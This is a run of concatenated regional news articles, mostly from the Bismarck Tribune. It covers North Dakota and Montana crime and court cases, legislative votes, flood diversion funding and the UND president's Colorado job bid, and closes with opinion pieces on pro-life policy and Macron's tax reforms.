A rainy but mild Friday and Saturday will give way to cooler temperatures early next week, forecasters predict. Billings could expect a high of 59 on Friday and 62 on Saturday before a dip into the 40s on Sunday, according to the National Weather Service. Showers and possible thunderstorms were in the mix for Friday, Friday night and Saturday night, the weather service said. The colder weather and possible precipitation could break later in the week, with a high of 58 and mostly sun forecast for Thursday. A hazardous weather outlook was in effect for all of southeastern Montana and northern Wyoming from Sunday through Wednesday night. The weather service warned of wet snow, possibly putting young livestock at risk, in an area stretching from Livingston to the western Montana border, and from Miles City south to the Wyoming border. Love 0 Funny 0 Wow 0 Sad 2 Angry 2 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. There is always a need for a good public discussion for the mobilization of people on the ground and in legislators' districts to really make the eventual repeal of the death penalty a statewide-supported effort, said King. Thats what were trying to put legs to. We feel we know that support is in, but we want to bring people in and give them the ability to voice their opinion and say to their legislators, to say to the governor, we want to repeal the death penalty. This is something we support. So lets do it now. King said on Thursday that the effort would focus on educating local leaders and Wyoming residents from the town and county level all the way up the ladder. In addition to receiving assistance from various religious and civil groups, the effort would have a dedicated social media campaign, a website and, further down the road, a campaign organizer with the explicit purpose of spreading the message of repeal statewide, King said. A Billings man is denying federal charges that he coerced women into commercial sex and has been released on standard conditions. Scot Donald Petrie pleaded not guilty on Thursday to four counts with a total maximum penalty of 35 years in prison. The U.S. District Court unsealed an indictment earlier in April saying Petrie coerced two women into providing commercial sex at King Spa and A Spa in Billings, and took half the proceeds for himself and unnamed co-conspirators. Petrie's activity dates back to 2014 when he placed an ad on Backpage.com, according to the indictment. The website has since been shut down over concerns it was used by sex traffickers. As recently as January, Petrie arranged transportation for women to come to his Billings spas, prosecutors say. Petrie is charged with conspiracy, transportation of a person with intent to engage in criminal sexual activity and two counts of coercion and enticement. GREAT FALLS Police say two officers were injured, including one who was shot, during a standoff at a home in northern Montana. Officers with the Great Falls Police Department were helping authorities in the Shelby area with a hostage situation Monday stemming from a homicide earlier that day. Investigators say 50-year-old Richard Moench, of Shelby, barricaded himself inside the home with a female hostage and fired several rounds at the officers, hitting one. The Great Falls Tribune reports police returned fire and killed Moench, who was suspected in the slaying of 43-year-old Jeromy Bryant, of Kevin, that morning. Police have not said how the other officer was injured, and both have since returned to duty. No other information was released. Love 0 Funny 0 Wow 2 Sad 3 Angry 1 I attribute it to kind an agreement across the aisle that this is not the right thing to do and that came from the progressive Democrats and the hard right, said Rep. Tom Woods, D-Bozeman, summarizing the coalition that turned back the legislation. Those lawmakers recognized the Colstrip bill not as a means to save the power plant, but rather a way to bind NorthWestern customers to debt without exposing the terms to the scrutiny of the Public Service Commission. As part of the plan, the PSC, which balances customers right to a fair price with the utilitys opportunity to earn an authorized cost of capital, was prevented from turning back NorthWesterns Colstrip purchase, even if the commission concluded the deal was bad for ratepayers. Theres nothing stopping the utility from presenting to the PSC a plan to buy a larger share of Colstrip generation and transmission. If the company doesnt want to bake the costs into customer rates, it can make the purchase without PSC approval. NorthWestern says it will only pay a dollar for its increased share of the power plant, but hasnt said what an added ownership share of Colstrip transmission lines would cost. Two-time liver transplant recipient Dave Hanson, of Mandan, says its hard to describe what the days and months felt like leading up to his receiving the call, which he experienced twice, letting him know he was a match for an organ he very much needed. The 47-year-olds first call, in which the voice on the other end of the line questioned whether Hanson could make it to the hospital in time for the transplant, came in 1998. Hanson, then a single man with no children, had been on the transplant waiting list for four months. It really didnt hit me because I wasnt married, he said. It was just me. Hanson had recently been diagnosed with primary sclerosing cholangitis, which he describes as a disease in which the livers bile ducts scar up and harden, preventing bile from traveling through, which leads to jaundice, or the yellowing of ones skin. His liver transplant on April 14, 1998, was a success. However, his disease returned and, in May 2015, he was back on the waiting list. The second time around, I have a wife and two children. They were 6 and 8 (years old) and just starting out. Every time that phone would ring, and youd pick it up and its not the call there is no way to explain waiting for that call, he said. And then when I did get the call, its just like, It came. Its just unbelievable how relieving it is to get it. Hanson was told to expect the call day or night; it can come at any time. A little more than a month after being placed on the waiting list, on July 5, 2015, the lifesaving call came, just as he was settling in to binge watch NCIS on Netflix. In less than an hour, he and his wife, Andrea, were on their way to Mayo Clinic in Rochester, Minn. He said they forgot to pack a few things and almost didnt make it in time for the transplant due to pouring rain. The whole way there, I was just panicking, Are you going to make it? Are you going to make it? Hanson said. And its not so much that Im not going to get my transplant, its just that these organs are so hard to come by. And if they cant get it in me, does it go to waste? That was my biggest fear. The couple left Mandan at 6:20 p.m. July 5 and arrived at Mayo Clinic at 2:08 a.m. July 6, in time for the 4 a.m. surgery. My doctor told me after the transplant that if I wouldnt have gotten it that day, I wouldve probably been in Rochester within a few days of that and they wouldve had to start taking evasive procedures to keep me going, he said, adding that almost four years post-surgery, his liver is doing great. Hanson says there isnt a day that goes by that he doesnt think of his donors, who hes learned more about through written communication with their families. Both were female and the first was a beautiful, beautiful lady, he said, judging from the photos he received. The second was a 50-year-old mother of three with a passion for Harley-Davidsons. To me, donors theyre heroes, he said. They made the ultimate sacrifice at the worst time of their life to become a donor and to save families. Trails4Transplants Next month, Mandan is set to host the seventh annual Trails4Transplants horse and ATV ride to raise awareness of the need for organ, eye and tissue donors and to raise money for organ transplant recipients. The 150-mile Mandan Meander trail ride, slated May 18-27, will begin and end each day at the Hille Windmill Ranch, 14 miles south of Mandan. Participants will have the opportunity to ride to Fort Abraham Lincoln State Park, Solen and St. Anthony, among other locations. Roger Hille, Hansons father-in-law, and Ashley Peterson founded the event in 2013, with the goal of riding 2,000 miles and raising $200,000, which were both surpassed at the conclusion of last years 317-mile ride in Minnesota. The event has also taken place in South Dakota and Montana. We were both horse people, we wanted to do a ride and we didnt want to just ride, we wanted to do it for a cause, Hille said, noting that if it wasnt for Hansons first liver transplant, he wouldnt have his grandchildren, Aiden, 12, and Annabell, 10. Petersons brother, who died in an automobile accident, donated many organs. Its been wonderful and its grown much more than two people who wanted to ride across the country and raise awareness, Hille added. Some (participants) have ridden all the miles, some have ridden one day. But its truly open for anyone whod like to ride. Most participants bring their own horse or ATV to ride, but there are some horses to lease for $100 per half day, with registration required. The daily cost per rider is $25, and all participants are encouraged to solicit sponsorships on behalf of T4T. The primary recipient of the funds raised is The Gift of Life Transplant House, Rochester, Minn., where Hanson stayed for 22 days after his second transplant. The money has also been used to construct memory walls to honor donors in five communities. We give money to people who are having transplants, but we also support donor families, Hanson said. Whether its honoring donors with this ride, or its an honor wall, its just very important to us to honor them. Participants, who typically camp out, must provide their own food, but can expect at least half of their meals to be covered, thanks to donations by local people or groups. Horses will be allowed to graze and a large hay bale will be available on site. Water will be provided along the trail and at the ranch. Rain or shine, the event will take place. Riders will not hit the trail if its lightning or thundering, however. Hanson says his favorite thing about T4T is the fellowship and listening to the stories told by other organ transplant recipients and donors families. If you come once, youre family. Its just how we are, he said. We always say, When youre ready to tell your story, youll be ready to tell your story. Everybody heals in a whole different way. Weve grown a family, is what weve done, Hille added. For more information, to donate or to register, call 218-201-0589 or visit www.trails4transplants.org. Reach Cheryl McCormack at 701-250-8264 or cheryl.mccormack@bismarcktribune.com. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. North Dakota lawmakers have passed civil asset forfeiture reform after testy debate in the House, where the primary sponsor voted against his own bill. The bill passed the House by 55-37 on Friday after conference committee amendments outlining further details in reporting from courts, prosecutors and the attorney general on forfeited property. The Senate afterward passed the bill 43-4 with little debate, sending it to Gov. Doug Burgum. Rep. Rick Becker, R-Bismarck, brought the bill to eliminate the "perverse incentive" of "policing for profit." Forfeiture essentially applies to items involved in criminal activity. The final bill includes elements such as a higher evidentiary standard for forfeiture of clear and convincing evidence. The bill also has a proportionality test to not forfeit property worth in excess of a criminal penalty. Annual reporting would be required from various entities. City and county commissions could oversee a fund for proceeds from forfeitures. And there is a conviction requirement. But the bill's exceptions to the conviction requirement drew a rebuke from Becker. The bill would allow forfeiture proceedings in cases of death, deportation, disappearance, abandoned property, but also with evidence beyond a reasonable doubt of property's criminal involvement. "It's very, very confusing. It's a very odd loophole," Becker said of the latter exception. "It's putting a criminal proceeding standard into a civil proceeding with no trial." He also criticized the bill's reporting component as not going far enough. Becker has said he sought a three-legged stool in his original bill, including reporting, a conviction requirement and a neutral disposition of forfeiture proceeds. "I'm looking at the words in front of me," Becker said, striking his desktop during floor debate. "We had such good opportunity for real reform, and I'm happy to come back in two years and try again." Rep. Terry Jones, R-New Town, who led a subcommittee on the bill and brought amendments in its conference committee, said there is substantive reform. "I would challenge anyone to show me what you had on your plate that was better than the direction that we went," Jones said. "The exceptions that we've made to a conviction are pretty reasonable, I think," said Rep. Kim Koppelman, R-West Fargo, who carried the bill. Ten House members rose to speak on the bill, some more than once during the 50-minute debate that drew House Speaker Lawrence Klemin, R-Bismarck, to quip, "Anyone else?" before the vote. Becker voted against the bill, as did five others of its eight House sponsors. "What I signed onto is not this bill," said Rep. Gary Paur, R-Gilby. "This is a mere shadow." Becker told the Tribune he's been contacted by citizens about a ballot initiative for 2020 related to civil asset forfeiture, but added he's still considering that path. Reach Jack Dura at 701-223-8482 or jack.dura@bismarcktribune.com. Love 0 Funny 1 Wow 0 Sad 0 Angry 4 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. North Dakota Gov. Doug Burgum signed legislation funding water infrastructure projects across the state Thursday though it fell short of his requests for the massive Fargo-Moorhead flood diversion. While Burgum and diversion backers had asked for language bumping up the states long-term commitment to the project from $570 million to $870 million, the bill the Republican governor signed only promises $750 million. Speculation abounded that Burgum was considering vetoing the bill over the funding gap. Emails previously obtained by Forum News Service showed diversion supporters were gathering support to sustain a veto, but mixed messages from Fargo Mayor Tim Mahoney may have dampened those prospects. The request for more state support came after overall project costs increased to $2.75 billion due to delays and design changes meant to satisfy Minnesota officials, who granted a permit late last year. Some North Dakota lawmakers have expressed skepticism over the rising costs and argued there were other priorities in the budget. In a statement, Burgum said the state's share of the diversion funding is "less than half the cost-share provided for other recently approved flood control projects," which he called a "gross disparity." Moving forward, we will continue to make the case for long-term funding and work collaboratively with the Legislature to ensure the residents of our states largest metro area arent burdened with major property tax increases to receive the same level of flood protection that other North Dakota communities enjoy, he added. The Metro Flood Diversion Authority board, which met Thursday, will consider options for moving ahead with the flood project. Tony Grindberg, a Fargo city commissioner and diversion board member, said one option would be to come up with a base bid for the approximately $1 billion in construction that will be handled through a public-private partnership. Bids will be sought this fall and likely will be awarded next spring. One option for dealing with the funding shortfall would be to prepare a base bid and split off other elements into bid alternatives, Grindberg said. Possible alternative bids could include bridge crossings that are a part of the project. Once bids are in hand, legislators might be persuaded when they meet again in two years to fund the bid alternatives. Such an arrangement could be done without slowing down construction, which local officials hope can be completed within six years. Construction on the inlet for the diversion channel will begin when weather conditions permit this spring. Another possibility is to secure loans, which will be part of the project's financial package. The federal government and Bank of North Dakota could provide low-interest loans, Grindberg said in an interview. "It's been a journey," he said. But, construction will start soon and the project just picked up an additional $300 million in federal money and $180 million from the state of North Dakota. "We're off and running," Grindberg said. Mary Scherling, a Cass County commissioner who chairs the Diversion Authority board, welcomed the additional state funding coming out of Bismarck. We are very grateful for the states continued support and we will continue working with our technical and financial advisers to ensure this project is built in the most efficient and cost-effective manner, she said in a statement. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Seventy minutes of debate led to the failure of the so-called "trespass bill," which generated hours of testimony and thousands of emails to North Dakota lawmakers this session. Senators had passed the bill 29-17 on Thursday. But the House axed it on a 44-48 vote after adopting the conference committee amendments. The final bill presumed all private land as closed except for hunting, unless asked to leave or if the land were legally posted. The bill also included various criminal penalties for several trespass violations. House members questioned scenarios of land access under the bill, such as visiting remote graves or using tracked vehicles to cross frozen lakes. Proponents pointed to the bill as a good start on a long running issue in the Legislature involving property rights and hunting heritage. Eighteen House members rose to speak on the bill. "The strangest thing to me about this bill is if I walk on your land to look at a bird, I'm a criminal," said Rep. Marvin Nelson, D-Rolla. "But if I take my gun and I walk onto your land to shoot the bird, I'm OK." Much talked about was an interim legislative study in the bill to look at land access issues like trespass violations and electronic posting, with a trial database for hunting access in up to three counties. But an identical, mandatory study is in the budget for the state Information Technology Department, which passed both chambers Friday evening. "It has potential," said Rep. Bill Tveit, R-Hazen, who carried the failed bill. "But it's not an answer for the landowners." Reach Jack Dura at 701-223-8482 or jack.dura@bismarcktribune.com. Love 7 Funny 3 Wow 0 Sad 1 Angry 3 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Hundreds of men, women and children are expected to gather in Memorial Hall of the state Capitol Thursday to celebrate the National Day of Prayer, an annual observance in which people of all faiths are invited to pray for the nation. Love one another, based upon John 13:34, is the theme of this years event, which is slated for noon. This is one of the commands that Jesus gave his disciples Love one another. Its not an opinion. This is a commandment He gave us, said National Day of Prayer City Director Tim Mitzel, who is also the state director of the North Dakota Fellowship of Christian Athletes. Anytime you read the Bible, you should underline this and do it. Held the first Thursday of May, the National Day of Prayer was created in 1952 by a joint resolution of the U.S. Congress and signed into law by President Harry S. Truman. Beginning at noon, people across the nation, in all 50 states, will turn to God in prayer and meditation. During the hour-long program, prayers are offered for education, business, military, media, government, family and the church. Isaac Johnson, a Shiloh Christian School student who recently enlisted in the North Dakota National Guard, is among those set to deliver prayers, of which his will be for the military. Revive Christian Church Pastor Rafael Caudillo will lead the assembly in song, with selections to include In Christ Alone and Our God is an Awesome God. The National Day of Prayer is a testament that the United States takes prayer seriously, according to Mitzel, who said if people dont continue to pray corporately, the act will be lost. Were one generation away from losing prayer in community places, he said. Imagine what it would look like if everyone in the nation got down on their knees and prayed at the same time. Thats power. Those who plan on attending the event are encouraged to come a little early, as security is in place. Limited seating is available on a first-come, first-served basis. We just really want to encourage everyone in the community to come out, Mitzel said. Its our one day to unite as one voice, one nation under God. Words cant describe the feeling you have when youre there. (Reach Cheryl McCormack at 701-250-8264 or cheryl.mccormack@bismarcktribune.com.) Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. North Dakota Gov. Doug Burgum suspended two members of a school board on the Turtle Mountain Indian Reservation "after credible reports of threats and demands made" amid a state audit, his office said Thursday. Jeremy Laducer and Doug Delorme were suspended from the Belcourt School Board, which administers state funding for the Belcourt public school district. Meanwhile, the Turtle Mountain Band of Chippewa Indians Tribal Council moved to suspend another board that administers federal funds for tribal schools in Belcourt. Laducer and Delorme are members of both boards, according to Burgum's office. The governor's spokesman declined to elaborate on the allegations. The actions came amid a citizen-requested financial inquiry from the State Auditor's Office. A bill passed this legislative session gave Burgum the power to suspend school board members during a financial audit. Efforts to reach Laducer were unsuccessful. Delorme said he was surprised by the move because he supported the audit and blamed "political agendas" and conspiracies. "There was no threats of anybody," he said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A member of the State Board of Higher Education says members should be able to speak their opinion about board matters, without deferring to the board chairman or chancellor for official comments. Dan Traynor believes a board policy which limits members ability to speak publicly stifles discussions about public business. We are a public board, Traynor said during an SBHE teleconference Thursday. We serve a public purpose and I dont believe that it is proper that we be told not to comment on issues of concern to the public. The policy, in effect since at least 2013, states the chairman of the board or the chancellor should be the spokesperson of and represent the SBHE by explaining, defending, advocating, and/or announcing SBHE-stated and approved positions. No changes were made Thursday to that portion of the policy. Board attorney Eric Olson noted the policy does not bar board members from speaking to the media in an individual capacity, but instead is intended to deal with matters that have already been acted on by the board. An interview Traynor last week gave the Grand Forks Herald became part of Thursdays discussion. After the interview was published, Traynor said he and the rest of the board received an email from Olson cautioning all board members about talking to the media. Traynor took the email as a response for his comments that were published in the newspaper. Specifically, Traynor spoke to the Herald about a letter that had been sent to University of North Dakota President Mark Kennedy from Chancellor Mark Hagerott regarding Kennedys ongoing job search with the University of Colorado. The letter, obtained by the Herald the same day it was sent, congratulated Kennedy for being named sole finalist for the presidency of the University of Colorado. In the letter, Hagerott said comments Kennedy made in the days prior had equated to a de facto resignation. On behalf of the North Dakota University System, I accept your de facto notice of resignation, Hagerott wrote. Kennedy later responded, saying I have not resigned my position as the president of the University of North Dakota. If I were to resign at some point in the future, I will provide you with written notice of my resignation. During the interview last week, Traynor said the letter was a good idea because it protects the state of North Dakota and the taxpayers and preserves our legal rights as far as the (North Dakota) University System is concerned. During the SBHE meeting Thursday, Olson thanked Traynor for providing him an opportunity to clarify the issue and said if individual board members are speaking to the media they should give a disclaimer that they are not speaking on behalf of the entire board. There is nothing stopping a member of the board from speaking as a member of the board, as long as theres a clarification that theyre not speaking on behalf of the board, Olson said. Traynor said most of his concern lies with speaking about issues that come up before members have had an opportunity to vote on or discuss the matter either in public or privately. Traynor said he is OK with the policy when the board has already taken some type of action on a matter, but added it is improper to limit the ability of members to speak about public matters as individually-appointed, politically-appointed and confirmed-by-the-Senate appointees. He also wants the policy to be enforced at the right time. I think were all called upon to use our best judgment when talking to the media and not make flippant comments, Traynor said during Thursdays meeting. But I dont think its appropriate to suggest that board members sometimes or sometimes are not speaking on behalf of the Board of Higher Education. I think we always speak on behalf of ourselves all the time, whether were an individual board member or the board chair. Grand Forks board member Casey Ryan said individual board members may not always have all of the information that the chancellor and board chair may have, so they must be careful when speaking to the media. That way, he said, conflicts will not arise. I would say if people have an item that they want to have a discussion with they should probably go through the board chair so that we at least know that people are on the same page, he said. Ryan said he has had two phone calls relating to the events surrounding Kennedy. He said he told the callers that since he did not have all of the information, he couldnt comment fully. What I dont want to see is the board embarrassing itself because a board member makes a statement thats their personal statement that is in conflict with something that the board hasnt discussed yet, he said. I think we need to be very careful. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Although the job isnt yet open, former Sen. Heidi Heitkamp told a Fargo radio station she would consider taking on the University of North Dakota presidents position if it becomes available. Its not something that, number one, is available right now, but, you know, I would never say never to any kind of opportunity, Heitkamp told KFGO Thursday. I love UND. Why would you automatically discount an opportunity if it would present itself? Current UND President Mark Kennedy is the sole finalist for the presidents position at the University of Colorado. That position oversees a four-campus system in Colorado, including campuses in Aurora, Denver, Boulder and Colorado Springs. Kennedy has been touring each location this week as a decision from the CU Board of Regents looms. CU spokesman Ken McConnellogue said the regents could vote on the matter as soon as early May. Last week, Forum News Service columnist Mike McFeely suggested Heitkamp as a potential replacement if Kennedy leaves. In turn, that suggestion was seconded by columnist and blogger Rob Port, who has been critical of Heitkamps politics but who wrote that Heitkamps politics shouldnt matter. She could be a very effective leader for the University of North Dakota, if shed be willing to take the job. During an interview Thursday with KFGO, Heitkamp referenced Kennedy and his multiple job explorations since arriving at UND in 2016. Last year, Kennedy was a finalist for the presidents position at Central Florida. He was ultimately not selected for the spot. I think that UND needs committed leadership. So the question is, if he doesnt get this job, how committed is he really to the University of North Dakota? Heitkamp told KFGO. Heitkamp graduated from UND in 1977 and is set to receive an honorary degree from the university sometime in the future. UND has not yet set a date for when Heitkamp would receive that honor. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BOULDER, Colo. University of North Dakota President Mark Kennedy was booed Friday morning during his final stop of a four-campus tour as a decision looms on his nomination to the University of Colorado presidency. Kennedy is the sole finalist for the University of Colorado presidents position, which oversees the Aurora, Boulder, Colorado Springs and Denver campuses. The Board of Regents is expected to vote Thursday to approve or reject Kennedy as president, the Boulder Daily Camera has reported. He faced a tough crowd on the final day of his tour. Many of Kennedys comments during Fridays forum were followed by yelling. The crowd laughed when he spoke about unifying campus communities when giving his opening remarks. Kennedy also misspoke at the beginning of the forum, saying he wanted to make CU the most exclusive, rather than most inclusive campus. The crowd booed and jeered in response. Distinguished professor Elizabeth Fenn said she studies native peoples in North Dakota, and reached out to contacts about one of Kennedys strategic plans goals, the Boulder Daily Camera reported. Kennedy wrote that he met with all tribal colleges to create 2+2 Finish in 4 programs. According to the newspaper, Fenn said she was unable to find anyone who knew of this program. Kennedy said the program is not initiated at each tribal college, but has been established at one. Reached later, Meloney Linder, UND vice president for marketing and communications, said the school has a relationship with Cankdeska Cikana Community College in Fort Totten. Kennedys voting record in Congress came up yet again during the forum, as it has at every stop during his tour this week. Kennedy, who represented Minnesota in the U.S. House of Representatives from 2001 to 2007, voted to restrict abortion rights and voted in favor of an amendment banning same-sex marriages. A student asked Kennedy to give specifics on what types of benefits and supports he would give to students in the LGBTQ+ community. Im a little suspect because you keep saying supports and benefits and blah, blah, blah, blah, the student said. I want real support and benefits for students of color, for LGBTQIA students, for disabilities. What are you going to do when you get here? Kennedy said when he spoke about benefits he was talking about health care and retirement benefits for faculty and staff. When speaking about supports, Kennedy said he meant the various support systems on a campus level. From a system level, Kennedy said the system and the campuses can debate goals and aspirations for the schools. Im interviewing to be system leader, he said. Im not going to reach into each campus and tell them what programs they should do. Kennedy and the student went back and forth for some time. Dont hire him, one member of the audience said. He dont know how to answer a goddamn question. Kennedy was pressed to publicly apologize for his vote on same-sex marriage. I am pained that my actions caused others pain, he said. I apologize that my actions caused the pain that you now describe. One student, who said she was a conservative student leader at CU Boulder, asked Kennedy about his views on the First Amendment and what it means to him. As you can see, theyre not very welcoming to conservatives here, the student said. Kennedy said campuses must have debates on difficult issues and also teach students how to think critically and listening to other points of view. During his time at UND, Kennedy created the Eye of the Hawk lecture series, which brings in speakers with varying world views to talk about topics One of the things I would hope to do would (be to) come to each campus with people with starkly different views, preferably pulled out of the CU community, to have a conversation that will help expand all of our minds as to how we can think more broadly, embrace critical thinking, be prepared for whatever the future may hold, he said. Another audience member asked about Kennedys salary at UND and what he would be paid at CU. Kennedy said money is not a driving factor for him. Instead, his driving factor is providing individuals the opportunity to get a college degree. The yelling and booing didnt stop after the forum ended. Students chanted as Kennedy left. Racist, sexist, anti-gay. Kennedy must go away, members of the crowd chanted as Kennedy left the stage. CU Boulder was Kennedys final stop at the Colorado campuses. Now, he waits to find out if the Board of Regents will affirm his appointment. Love 0 Funny 0 Wow 0 Sad 1 Angry 0 WILLISTON - Exactly two weeks after a man was convicted of threatening the Williams County states attorney he has been charged with doing so another time. Greg Boe, 55, was charged Wednesday with threatening public servants, a class C felony. He was convicted of an identical charge after a daylong jury trial on April 10. The circumstances of the new charge are similar to the last one. Investigators said Boe, who was arrested in April 2017 and accused of sending a threatening letter to a woman who had a restraining order out against him, sent a letter to Williams County States Attorney Marlyce Wilder saying he would kill her and others if she didnt drop the charges against him. He was convicted of terrorizing, a class C felony, and violating a disorderly conduct restraining order, a class A misdemeanor, after a two-day jury trial in February where he acted as his own attorney. During his closing argument in that trial, he threatened to kill the members of the jury, who deliberated for 15 minutes before returning their guilty verdicts. In December, Boe was charged for the first time with threatening public servants. Police and prosecutors said he wrote a letter to Wilder saying she was perverting the law. He said he would kill her and dozens of other people if she didnt drop the charges against him. In the latest case, police say Boe wrote a letter shortly after the charges were filed in December saying hed added to the list of people he was going to kill. I may continue adding until you drop the charges against me, investigators quoted Boe as writing in an affidavit of probable cause filed in Northwest District Court. Boe went on to threaten to kill members of the North Dakota Highway Patrol, members of the Williams County Sheriffs Office, including former Sheriff Scott Busching, members of both the Williston City and Williams County commissions and dozens of others. At a bond hearing Wednesday, Northwest District Judge Josh Rustad set bond for the latest case at $50,000, and ordered that Boe have no contact with any of the people threatened in the letter. Arent you one of the victims? Boe asked Rustad. As far as I can say, I wasnt specifically listed, Rustad replied. In the previous case, Boe wrote that he would kill the judicial staff and judges of Williams County. Boe is currently being held in the Williams County jail until his sentencing in the other cases. His sentencing on the terrorizing and violating a disorderly conduct restraining order is set for May 3. A date for sentencing on the threatening public servants hasnt been set. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Ive been thinking a lot about gratitude and people who make a positive difference in the lives of those around them. Tuesday evening I watched a new episode of "The Profit." If you have not seen it, Marcus Lamonis, a successful businessman, has a television show where he is invited to visit business men and women around the country whose businesses are struggling and if he likes the people and sees an opportunity to turn their business around, he invests in it. Its interesting to not only hear the stories of the owners, but to see what he does to turn things around. Lamonis was adopted as a toddler by an American family. For several weeks he has been promoting a special episode where he returned to Lebanon, the country where he was born, to explore his roots. All he knew was that his mother left him at an orphanage when he was an infant. On the visit Lamonis was overwhelmed by the love of the orphanage staff and the warmth of people he met around Beirut. Overcome with emotion when he saw the little crib he occupied as a months-old baby, Lamonis said, I am just so grateful for the life Ive had. While in Lebanon Lamonis used the episode to tell the story of how people there have adjusted since war ravaged their country from 1975 to 1990. While Lebanon has begun to recover, it has been inundated by 1.2 million Syrian immigrants. At the orphanage Lamonis found out his mother was Syrian, so he made a visit to an enormous Syrian refugee camp. There he found a group of women who had started a business to help support their children. The company is called Jellyfish and was founded by Laila Zahid, a 20-year-old Syrian refugee. The women make beautiful purses and bags of various colors and designs using plastic shopping bags that are pulled from trash and dump sites around Beirut. The women pay people to gather these bags, which not only provides a small income to the collectors, but reduces the tons of plastic going into landfills. The women cut the small plastic bags into strips and then roll the strips into cords that are woven together to make dozens of different sizes, shapes and colors of bags The bags were first sold at street markets in Lebanon, then all around the region as people discovered their beauty and functionality. Now, via Facebook and other online sites, the bags are sold all over the world. I conversed with Laila via email last week and she expressed how grateful she is for having her business highlighted on "The Profit." She said sales soared within hours of the shows airing. She is happy to expand and grow her business but more importantly she is grateful for the opportunity she has to make a positive impact on the environment and on all the people who now help support themselves with the profits from bag sales. My spirit is lifted by stories like this. But the real challenge for me, for us, is to not just enjoy these incredible stories, but to move beyond gratitude and find ways to make a bigger difference. It takes so little. Who knew the life-changing power of small plastic bags pulled from the trash? I placed an order for my daughters and daughter-in-law. I cant wait to share the story of their bags' origin. Gary Adkisson is publisher of the Bismarck Tribune. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 If youre a pro-life conservative Christian youll eventually hear someone on the left assert that you cant be consistently pro-life if you dont support government policies to reduce poverty. If we truly cared about life in and out of the womb, they say, youd support government intervention not only to ban abortion but to make abortion unnecessary. They are right to call us to be consistent. But they are wrong to assume consistency requires supporting their preferred government interventions. As Stephen Wolfe writes in an essay for Mere Orthodoxy: Each conclusion securing the lives of the unborn and enriching the lives of the post-born and their mothers though related in some ways, has very different considerations as to policy and policy effectiveness. Governmental action might be the most effective solution for one issue; for another, however, the government might make matters worse. Many have concluded that governmental action for poverty relief generally does more harm than good. After all, anti-poverty policy in the United States has, at times, been disastrous. Perhaps an emphasis on private charity and other non-governmental means, such as church involvement, would be more effective in reducing poverty and helping poor mothers. Perhaps the best possible way to apply the conclusion today is getting government out of the way of, or cooperating with, civil associations and ecclesial ministries. Or perhaps the best solution is a significant restructuring of anti-poverty programs around encouraging work and self-sufficiency, as Oren Cass has strongly proposed, among others things, in his recent book The Once and Future Worker. Of course, one might disagree with these all these policy determinations. Nevertheless, the traditional pro-lifer as a pro-life advocate is at least formally consistent with his pro-life principle, if he determines that these are the best solutions in our circumstances. He has not abandoned poor mothers; he has simply determined that non-governmental solutions for these issues are more effective. Read more . . . After yellow vest protests raged in the streets of Paris for 23 consecutive weeks, French President Emmanuel Macron has responded with a package of tax cuts and decentralizing political reforms. Macron unveiled the proposals at the Elysee presidential palace in the first domestic press conference of since he took office. The gilet jaunes protests were named for the fluorescent yellow vests French motorists must wear when stopped at roadside; The New Republic likened the vests to the armor of light mentioned in Romans 13:12. Protests broke out last November over a proposed carbon tax hike and a government levy on diesel. Some protesters held signs that read, Death to taxes as they clogged traffic intersections. Initially, Macron vowed he wouldnot change course, because the policy direction is right and necessary. Though Macron relented and scrapped the carbon tax hike and increased the minimum wage by 100 ($113) a month, the protests morphed into a populist uprising against the self-described Jupiterian president. On Thursday a shriven president admitted his public persona is always giving out orders, being hard, sometimes unfair, before offering a package intended to assuage the movement well ahead of his possible 2022 re-election bid. Here is what you need to know about his press conference: Macron admitted the yellow vest protesters had just concerns. Macron has readily tied the movement to violence perpetrated by some of its fringe elements a tactic he repeated on Thursday. However, he said Thursday that I respect the yellow vests who came out into the streets at the beginning of this crisis. Macron added that the protests reflected the nations profound sense of fiscal, social, and provincial injustice, and he did not want the actions of some people eclipse the just demands that were broadly supported. Macron offered $5.6 billion in tax cuts to the middle class. Macron promised a combination of tax cuts totaling 5 billion (approximately $5.57 billion U.S.). The plan will cut taxes for a maximum number of citizens and especially those who are working, the middle-class, Macron said. Prime Minister Edouard Philippe added that a great national debate which has garnered two million online comments and conducted 10,000 community meetings since January clearly shows us in which direction we need to go: we need to lower taxes and lower them faster. Macron said the middle-class tax reductions would be offset by unspecified spending cuts, plugging corporate tax loopholes, and increased productivity. A tax cut is overdue. Taxes consume a higher percentage of GDP in France than any other developed country, at 46 percent. There is room for spending cuts, since budget outlays take up 32 percent of French GDP again, more than anywhere else in the OECD. He defended his decision to abolish the wealth tax. Macron stood by his decision to convert the nations wealth tax, the ISF, into a graduated national tax on real estate in 2017. It was a reform to stimulate production, not a present for the rich, he said. The wealth tax on those with 1.3 millionin assets, which socialist President Francois Mitterand introduced in 1982, imposed a net loss of 2.5 billion in 2017, according to Kedge Business School Professor Eric Pichet. Macron also placed a flat tax of 30 percent on capital gains prompting Thomas Piketty to criticize the move publicly. Macron, a former investment banker before becoming Finance Minister under his socialist predecessor Francois Hollande, understands the importance of investment capital and productivity for the sluggish French economy. (Hollande, by contrast, said, My real adversary is the world of finance.) But Macron said Thursday he would evaluate the policy next year. It will be re-evaluated in 2020. If its not efficient, well amend it, he said. Macron promised to increase productivitywithout changing the work week or early retirement age. We must work more. Ive said it before, Macron said during his address. France works much less than its neighbors. However, he said he would not touch Frances 35-hour work week, nor its retirement age of 62. The Financial Times has speculated this will cause him to scale back national holidays. Macron promised to decentralize power from elite Paris to the countryside. The president also said he would 